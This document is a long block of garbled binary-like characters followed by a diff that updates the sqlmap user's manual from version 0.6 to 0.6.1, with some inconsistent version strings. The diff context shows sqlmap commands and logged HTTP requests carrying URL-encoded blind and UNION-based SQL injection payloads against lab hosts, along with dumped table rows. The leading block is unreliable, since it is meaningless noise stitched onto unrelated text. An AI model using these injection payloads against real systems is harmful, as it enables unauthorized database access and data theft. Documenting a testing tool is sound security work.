zBGJojZwSc7@XzfYAQlw2U^p+Mlsp)il zj?Fgw8gcr0s(IG052^V*4K#VXj_G{)w&^{FM+O?Kf3CDto*XV!ANbDH-sPrg<>&A* zQq^spBfeGG<^`GU)3q@E_9%(AKiT(K-ju%5U$N=BHgvh85!(w3(!SEaY1eD2z9XZC^ubO7%?9#WslFi*(mpFE#>esI`N*67o73WMd)~fn` z@Je_5C{l4m_D>NJ*-g7;?MS{oRPETf@D*+>OLpQTXtvHo9@w5vx!!BvOeV1Fd;?e$-}9MqCd1uo);v~RzIR0 zF|O`LxoeuMaO>N}Z(J;5)#}GDPD$h@6nJ*8)Z06)aAceMoYUw4- z_V2DO8{f0zyMJ75dQnyVoYZ!nNbaewy14lH2`vw=cdL&1-10E}qGiK@hK6;E*ycYD z3;%qjyVP^df~6IgFDdBBt^ZlmBWUiW1ZI7 zdpD=0HMqAYl+P`Ck=)n#{v+%2=XcAsO%p@~ zBQE%RzWu>CJLg5bO}6PY%hd)d=gK**?=$RHM^}sg|o&biHq? z+5R}xVX1fbq9pZ-z05d|Wo#LB_UDnsWoFY97iI|r7;3gSKYqMzw_?rre#f16*48;Y z7`SMDh}}Z^M$-=U>#jQ_@l0?oTlt)4TA!QJ(o<8n2>6?3y(28`;^KZDoA}Pj`A*yU z2FIxHx)GPdzFAZ+_Vk*$FIwGuV7}%&*-_SS&ik#67f5@#dEA)KxeB|__C!St=$6EX zjk#u28DBC(WYqN@F{NPraW3L}q^@vG1;oWaxF+vTh?{bh9Fr5{kSDO=&JqXNUnaI8=A)?W>;>#%$y-4|-kZWrKYtJ@Uc`A+Z6d^uDJXx+eUp01_ zpsj4GBmIE$34zUrUZh4zWj936n|*iN!nNnUPn!MQ=RGb+JX}?5Y-sR7|0$muxsQrI zj5t)KzGmjU*Osn_6-lE!)}fgL;{@tf$}ZmEtaUeRR+uVDyt}NGzx2C=)6u)L&V`6S zAY0|w7WHCNcgcP1=y~UryZuY@2}$4CA9SrQ$pqO}tvKN-ETlK^F>iEe2=B1x9nC_u zgtnDckJS|`j>TMXAZu4@)sfm_c?>s&=m^sd>upav27S87-{1Sag|uwAG3v_}^+pv# z{iENuw=PmUc{|>*yOPs5;>K#R?YH9_&#vl=C|Y(hT>pUICU*lE-cH8ZcZ|QSgS~ESeU3UAZS*~$vdhGvWZt{;k>WXw_S}vUNDvq(b za-RL;66^aq6NX1?x}qH`MTGQj6_-Dv_1IZgto5YTEu+_7#H)J0&X&pR@2DO;H9s)y z=OMjyfdQX8uTSYaWbwG?7_hyCl6}SMXY>^=8R!VKr#AX8a_k#qh zwMLOmqpvtLIqjdW5?2}pYV2Rp1)~bzVVjA%7?2zYMbT7_x~gRsecP7-sde) z&mPI30mq<0+OG+KzgPJ4psSMfb!Cr)OWmi733^`+o#I7QDN&T>rEwx zCrsEo^1AHusXhmeg>@{Q=P>!|m*DxG(-U~pC&n3P-fO1a^#5en;zh2PNi@)z$5t{g zzZA}xA~E%2uAC)cYg+$OS+22q}4CrmKu-+OED&Bag?MZ`jT}xX|eE z(H53|e4*ph1G=G-y@BN}q~}=L>=$LhNz2mpD|*|^{2EqjN1s&-f0{yK*Ke5vSqCE2^L+N=GNa!A{7yZX9w^em;#0;e6?8^uPoWX#?ZblKVXUbn7* z?cSP_*>ddDIb4$w7p%j#Ih9KZBwukg%q=nJ*^f&yI=)N&u(PX;<%`;_M}GeF&F%9v zIh9>f{Ow$~!D)kOTbz};0_^tQJNVQ-@bK#DL+d||nLTGFzq_E9wNC89bVavOHnYfQ z6M2sP`Ug6vWJ}woEO*d1EqhmPx9?Tqhy=OUY6q3R+qOPQc{#(XF|(#3y50EeiILqG zmnom{=}Hkk#dFjrM3dQb57n64?E4s`yE~{{!ZV}NA+c=v=}AT&bA{K2#zR5B%67Jj zwDTFM3+=ZSdNs356lG-=uVN;C2}{}*RYtC|&)+Q3rQa=dC)vq)bjP`Ky-Amy_Ma77 z)2Ug)8r5Gdyd|+Hcp zdQ0zK^6^?g>RC=tw_b&ykoT>DD=At(=x44zE_KY+RIbkHsXVx6vhka`4!_KuW6VdZ z_a~8d$wp72Tlb_sQC03RbK!(Uj(dG+UZt5!N6qcp*iz+PdtOXylMvsr>K2bn`3OdirUzj9Uy!hC&sF3+Z`ELc6 zo_2rAJaMy6XqoY>leWDUJ6t{bGNWuhMZEY`-1<>2HnDGY+N5fALOwrY>XTplKjkmY znv~dBy{em~e5w5uKkVJE9>Z_&W`26d4ZqTd4sGwJ%vck(;jv=2g!z|`ao=7iW-XYy zt@Uf|K=dlNc+%-`)0@^ulDgHqJNs+b%w77*^w6RQ8t$11)>66G9(IaU%4oMJxF$IE zSTHXelnP1&UW<7to_=suNx{$KFISTyX`<|l?VK};+}>uRK-cLb-HYq@JayVAS=-&U zHKk`>p2YiCV;)8Bm9DvHUq^Hm8SPf{I-q;*mX+*C>-%b6B>Ao43Fl3J`{ueiO#@yI zEH4KOr8#H52OU!K%vV~iru=wg5A)Q7WJPkDr@eH{Tt~CzCoH;C-Fs>TcE0gb%8>7DIv}K05;{g(HE3DucSc7BA?W%#IN_n{{*B+vBR|4%9BLejvS|`L&_lp{Fw|OMZw5%P4JrWT@9-w=Vl) zr@&hYv6Ybz4BH}~Zg|jql@!e1`LNn7ZSqX{gKNvSWk*CeN4+V!?C3&k+A5WwaL6F2 z|B2LwvWLySg>vE5nL-WzQ?x|SUa$HkDW{yc^Ih4`GQG=B`eizHALIwkg2d+5QGvk0 zpDh-z$QJlAlFUA8v@uO*9^oC*xKuRE*4W+MzWnGTi^HRS)+5)f3 zcCRB-GIEj=noo1Qj7C4M&ptTd6{{&8EwRGq!?a`br{%K-fo@VKR8M&f(S7O>G(c;(|R3UUk*2em6Ck^eQbX)0LNQPh;$>IPWN4C35gWTR(bG{302%#;l9;N^0y1|mrH&aT^oqBpl@BVAYnPyTEyT49*Bu`va zy{B(EQrPc`O=Z)z_GildKDtkWBnXZ2xTp2$-*2XUZnp0K(t2=9Rwh|mr}X|%^y#LS z>-}pReI5m?r*@e*+oZQ2(b^ZnXFW)k{(fUDXWkowY5oI=3EoScy3J`fwLVz>;*NY8 z+1}I?F}~5uL_zdT%nxC!-S%qDTfb{&Y`jpxeAsE+Y_#KEN`;>9rsXq)S?wS40zy|V zyy75TIqR3LjkU!wal^B`bB1KmTbZO8D%KNiC7D^PYqJ-d`h+fw(Q18RE>o=7x}-s- zC@}Z?}<)~-CfM)lLHywP``pHxzR7C{9cC7d_Q|xlBROa$=m*)O%y*QY@aa9I^8# zpSyRxYKFTYzhDMEq*FS&D9XcLbvvhNyMzU<>M-E~{M9!av? zW+#1>7#C7hIjOL!?tFS;f6%tec!817C0=$?nOJXi-t-Jp>$&UiJ8cXTk9-~9 z|H-szUw=l0K%Ls$$@TpTEk(y#o=8qB?#m2&yrLl4uWwR^q-)_rNteRD;P(%cdai%y z?5aKy`Ti=8t<<^p#rxI024N43{EB6A1y%_2^LW!6 zd7Awwb_4Un_uXn^Rmw{XOhpNovd^bfj`m**O;8hmu2sO)5WcUJr86+2Hda#S<}PQC zi;_l91kbonyYy1lzD;vrZCIjPU#j34;UrigUh(C&-zPs+^usc_yh;7IBA#pL?W#|+#XGk(lDc+Y3d)l#ke=g<7_kKsgo zwUV$1J)QaMYiU|d*Td2FEtWpAxvREJKZafdZ2784d!5}3rGDblF_Df%mlQ2$S7@mMSd-(;+y&j0$x3oI=j7q0t9q9}fe~SooWHa%P1e3$B8T`oOVm)ar z9)G$hH6@FQe&q5PbpAT(BNrc*%cax!*9Sl1!*V%HHeX6ikSj~${f}|kFsX+aH7=XL zCS`Hx{KCPHOl-MaCYQw@B|f-Z9@dk=iW2EUE^$mL<@$>DN&e1;^bh~TlXNjV%goTwz6 zHVvDT!{!nEn!#_F?Qz%yhd+HBOvz&5Q!-)7b>m=A0<#hhlg{E_r#f;t_>6QOlP@)% z+6eq1LCVU9m^+6~u=pN>A9?sb2(a2h>LXkWtS61mtSQcW3$*yelqoufg2E;$szb{Qq+1d z#j+V3E}tO{XUXB=C(WjV(Qcu>GI(rEeQY|7&99-p(s}=5RvL%JpFR& zQ6Cw&zhH4WJpOg+BNKNREG_{DI*IxSe<2b%P!^lV;d@XYSq$vVSZspJFPuc#5T*te z3v6hVj38$+jmKl*<1)dW*vP=RVEWjk3Y-bZPZ5wzELKR#^5t13+j@{T4^*kmxtI6jRt>J6B!?5bS9!d zkYT3*G8PB1Vvup@zvm_YL>3Toxrh-^L5YbihD+cJgqw@EW1=?}#zR903FZN|gzb)t z9WjJZf{wTVkkPr=?s!aGGdwox>Yy)&%_WDM3J7_q5x_lwX^?gh%+b&T?U)35Bm|9x zng+Dv{B?BX@4ya1*fKf^)ffzTBzCR@ z!C@i`po5#o?3u}6{N2$Xq(Y|?Jj9;p1Y9C~pO`xOAj59efA_ z(*~2yKyMYnWI|LK=89+plf@o(tduPRoS`GD1{oK<`!s?@Lp1|3_^Y_+BrFCR^r0Q~ z7ju!tfL|mLRYOBA8b@dZ8^ma5h|9Q)fuBE{i5oH-V$Xl${qqF`8_*~=2@l^1hrrbj zz6Dzh2Xu{&2WVorF@pXH4u^}K6NiWIgiGV1)=eka*zV|*aibH1Az=$-a2Pz)7Z3yw zb4&!6j=57hoyI_SN2k*kH@*PS91;83YQGX@HGr*iN`i6eLi2 z2fAniKoM#)Bp5Icjr9bGQ1D5kLvQrjF(CS&N5>!le<13Ief*DhYz|G4x_|$$A56kU zy%oq9SdgMK=qSv9b{y1z!B;Ra2ghI%|BRaaFUO)W05hXkkwJqCitL2W!LK6p#T*R- zA`N=q8B7Kbor7dB*?4E>ANTmzJJJ{|+HaRRR7NK-^|P4B6{A64Hj3Cl2C0uCZBYMz z@c@I3dpHK0iJvE%i%-me7>sC(LC3EwgUuRp70JOA7w!_+KiZiKIUgotfzb@N83z14 za=b4YvI+uoW`#t3zF5tQ`w7 zBXoC6a9ya3O<>vror3<+h5!T5K*VA*P>zGf;^NK+=D^@Oo508u8k@plgY*8we;{O| z{0xoCWzi#H0|SH_5;!x=&jZxJFd>`48t#HA{j(WNeAR#=P*p=`G>U<7;TaU=;84Q^ zCIAa;Z17wpdQLzm3|}F&KrR~#L~Jet1FgV-A%nyO#eWLjzFgxgt0Ng{zCIO-mkwL-;02f^haB+Y9$6x%%;efY58$tq$ zshR^OhqmJ}u^`(LfsUuiCyQtAnj0pxFfiS_WA7CfO5pj83EFimFYVvN|KU!^zqy#R0FDTAtq`?2=q=&FokbQ6=MI$S|N^|EGSqw3xbhK!*<>5Fjgo0uYL?!q6?GvZ!V#xH~kK44yv$=@06qfb0S< zfK3c_4OB+Q*fXH8Sf~+#4C4@CUJ{aFbU+p)PpAw$7ouul)F3lK+kp$l`+`$P+JU1$RUU9WN;%)jJ$+)7!3z&Vg0^2 z|L`9OF?tm`voZSsKZDrWlj491fJP;DfVLUn)#ec9EEK7yXK&%c|HK>X?^d7?;)FeRW3~xutP~T6<{@B7_ z{0Bk^PiSWbm@6jxgWdn#96E!8MnHnjq@mssWZ-CqjYq<&nNZIfCZuH86(i{2K(O7h zSZHv9b^tff@gQkHjT(3*CI`WP;8%f7Ks$3lxtNUpk3{+p8^9fAp-BkHxF{NeQz!mv z<`4b@Aro`0bS|KLbYckb*kS;}VVZ&3AG#3+a97B2k^pg-D475g% z?I0OL7YObf<`~rf-v|g87z;#D3C6A%MY&-+hU5o3I=lt|Wvii!`49hr5NdGf3b}u? z)PD=)0=0y-dj>(CC%89)Z`3hm2Wj8(KD@G?;b1Z40=1?|kj2t}Zk==`f(K`D}j7CPV)B$wzA zI44PfAHX~T6Ho){4}r2ni!;!d_n*TCwf;L*0Pv_SLVkz&B_@Z1J}-ePB*a2=(Qq#? zMRMU?!jN{0^s)d^hTUAClTkLGfUIvg z`~>|&#TOpLyqC^d}gX;RQb^t3O zRl+6#1^`27kdL7iS^&Mc|6&7PL2m@`@tCiGgoR+Eu##dAhOZD7$bh75*s3WR1B=wa zOkrS*%Bj#Jftc_&iT?{L*-T)q(Mh1ff<|g69$}Fmcx<%BP32=~DgrVLCy^lJ;b#Z$ zEHEtqhk~gUl!YxC=gFuS3)n4TQ@o<0JA4@8f`J6bQUZ!pM_ns$+lV2-kw6$kuPi(| z;0qW~VFrt@5CO1TO4W?fAvjR6L#Kx)Us!mBnl^^QlQb1e2XIa zX_$#|sE0d`l?|^{NM=lx_W;j3^VycGsdZ>Enh*L~w!NMmGnAh(E#hUzp*-s}uB!L7I*2m*i#!>AOXi7=4Gg%@ON5TWr3N>mdLtvo{h4K*O1yK_2dUNR*=E3LeO@Q zd?D6PU0C#nfsBNpk9Edgqk(b2FEP+|P-Gmklm8Y7^>l185MU6W0*~qdyi()A{{N{T z-jZXB0bhYl0vpE8oySH=CQt!*3uMvM3;3aZDgDDMAb7HjHN;W}D9!_NLfZkegDx7H zp?MJyC|H3KWK0r;#vsHHFXaE&TYiu+G5Y|f4Mortfi`T%gBxc4VT1nRKj5vQScUEm z(gSRF04T9`Ksljj4EF}j?BOm!0y}gL&_4)=1ccwe7^Gl7dhUR$u`31#f`(`yJisFj zorIbL9uQ!*0IYxqHVK6yu+G3Qp)wwTI827IJOKJxd?iarv^Z#Bg-<+eD$3uW!-9Lj z%oA=TcG1AXFkMhKHmLBS7mX@Wp!)%>p^QD1Qlab?)bX(2sela9G(;EhdV3f`7`$i{ zBpr7Aa58kb%(x6r0UZ#MIjkK}yyyYK`cPU8*31E*iw%f-dtg3LR${OuiA}=#ACvr# z$5Vi}e|wA}7Y!Jf;g^8Y0{qAU+cCUR#%uxZ1ulavqnm>tOAXsFb7Bf(#>+;DJ6uiNcPdYKMgxK(3hY13MqCeh746{CKbhMgiqApjb#? zet`i;jO~sIL<72GptErq><{7d;EfLpMfD)Vo`Zu72UPIZ9rK6q$R6cJ;Aa2Jeg7m{ zAOviVu9~8GFd6oX3nZdY8(H(RJtO#!@=t!akLX1iR8Ag+W3^H9rGm!3JFoX$dE_zGgS0eum^LL^Ji4FGR z4rEv{0c1G1rs!GJ(ZH)Al-~dk3_lA*7EMCfzzmLhiiqtFl0MX_K&c5+KUB0Z?+6JV zN=W9=9Eweyi!^mflVGk(j5Zng?78U>h zB7Jy`jJZ)@gRtuaWf2TWv%!8*PsoN^G$sSQJ;Ye4`2ilm>mMQE~ izfG1a>g$WF3wB={9Jsqlmap user's manual by -version 0.6, 1st of September 2008 +version 0.6.1, 20th of October 2008 This document is the user's manual to use . Check the project @@ -254,19 +254,19 @@ name="SourceForge File List page">. It is available in various formats: - operating system independent. - operating system independent. - operating system independent. - architecture independent for Debian and any other Debian derivated GNU/Linux distribution. - architecture independent for Fedora and any other operating system that can install RPM packages. - that does not require the Python interpreter to be installed on the operating system. @@ -294,7 +294,7 @@ and . $ python sqlmap.py -h - sqlmap/0.6 coded by Bernardo Damele A. G. + sqlmap/0.6.1.1 coded by Bernardo Damele A. G. and Daniele Bellucci Usage: sqlmap.py [options] {-u | -g | -c } @@ -486,7 +486,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat [hh:mm:28] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net) Connection: close [...] [hh:mm:29] [INFO] testing MySQL @@ -495,7 +495,7 @@ Connection: close GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -511,7 +511,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat [hh:mm:32] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200): @@ -529,7 +529,7 @@ Content-Type: text/html GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200): @@ -554,7 +554,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat [hh:mm:23] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200): @@ -579,7 +579,7 @@ Content-Type: text/html GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20 CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200): @@ -694,7 +694,7 @@ Example on a MySQL 5.0.51 target: $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \ - -p user-agent --user-agent "sqlmap/0.6 (http://sqlmap.sourceforge.net)" + -p user-agent --user-agent "sqlmap/0.6.1 (http://sqlmap.sourceforge.net)" [hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET [hh:mm:40] [INFO] testing connection to the target url @@ -839,7 +839,7 @@ $ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3 [hh:mm:39] [TRAFFIC OUT] HTTP request: GET /sqlmap/get_str.asp?name=luther HTTP/1.1 Host: 192.168.1.125:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ Connection: close @@ -851,7 +851,7 @@ Connection: close GET /sqlmap/get_str.asp?name=luther HTTP/1.1 Host: 192.168.1.125:80 Cookie: ASPSESSIONIDSABTRCAS=469 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic @@ -898,7 +898,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&ca GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1 Host: 192.168.1.121:80 Referer: http://www.google.com -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -914,7 +914,7 @@ By default sqlmap perform HTTP requests providing the following HTTP User-Agent header value: -sqlmap/0.6 (http://sqlmap.sourceforge.net) +sqlmap/0.6.1 (http://sqlmap.sourceforge.net)

@@ -999,7 +999,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1& GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1 Host: 192.168.1.121:80 Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M= -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -1016,7 +1016,7 @@ nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f", uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2", response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, cnonce="df1c0902c931b640" -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -1138,7 +1138,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id= [hh:mm:50] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200): @@ -1160,7 +1160,7 @@ Content-Type: text/html [hh:mm:51] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): @@ -1182,7 +1182,7 @@ Content-Type: text/html [hh:mm:51] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): @@ -2000,7 +2000,7 @@ Table: users | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | -| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 5 | NULL | nameisnull | +----+--------------------------------------------+-------------------+ @@ -2052,7 +2052,7 @@ Table: users | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | -| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 5 | | nameisnull | +----+--------------------------------------------+-------------------+ @@ -2066,7 +2066,7 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv "1","luther","blissett" "2","fluffy","bunny" "3","wu","ming" -"4","sqlmap/0.6 (http://sqlmap.sourceforge.net)","user agent header" +"4","sqlmap/0.6.1 (http://sqlmap.sourceforge.net)","user agent header" "5","","nameisnull" @@ -2093,7 +2093,7 @@ Table: users | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | -| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 5 | NULL | nameisnull | +----+--------------------------------------------+-------------------+ @@ -2182,7 +2182,7 @@ Table: users +----+--------------------------------------------+-------------------+ | id | name | surname | +----+--------------------------------------------+-------------------+ -| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 2 | fluffy | bunny | | 1 | luther | blisset | | 3 | wu | ming | @@ -2733,7 +2733,7 @@ GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28C %2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2 06043=6043&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200): @@ -2872,7 +2872,7 @@ $ python sqlmap.py --update -v 4 [hh:mm:55] [TRAFFIC OUT] HTTP request: GET /doc/VERSION HTTP/1.1 Host: sqlmap.sourceforge.net -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200): @@ -2891,7 +2891,7 @@ X-Pad: avoid browser bug [hh:mm:56] [TRAFFIC OUT] HTTP request: GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1 Host: www.sqlsecurity.com -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; language=en-US Connection: close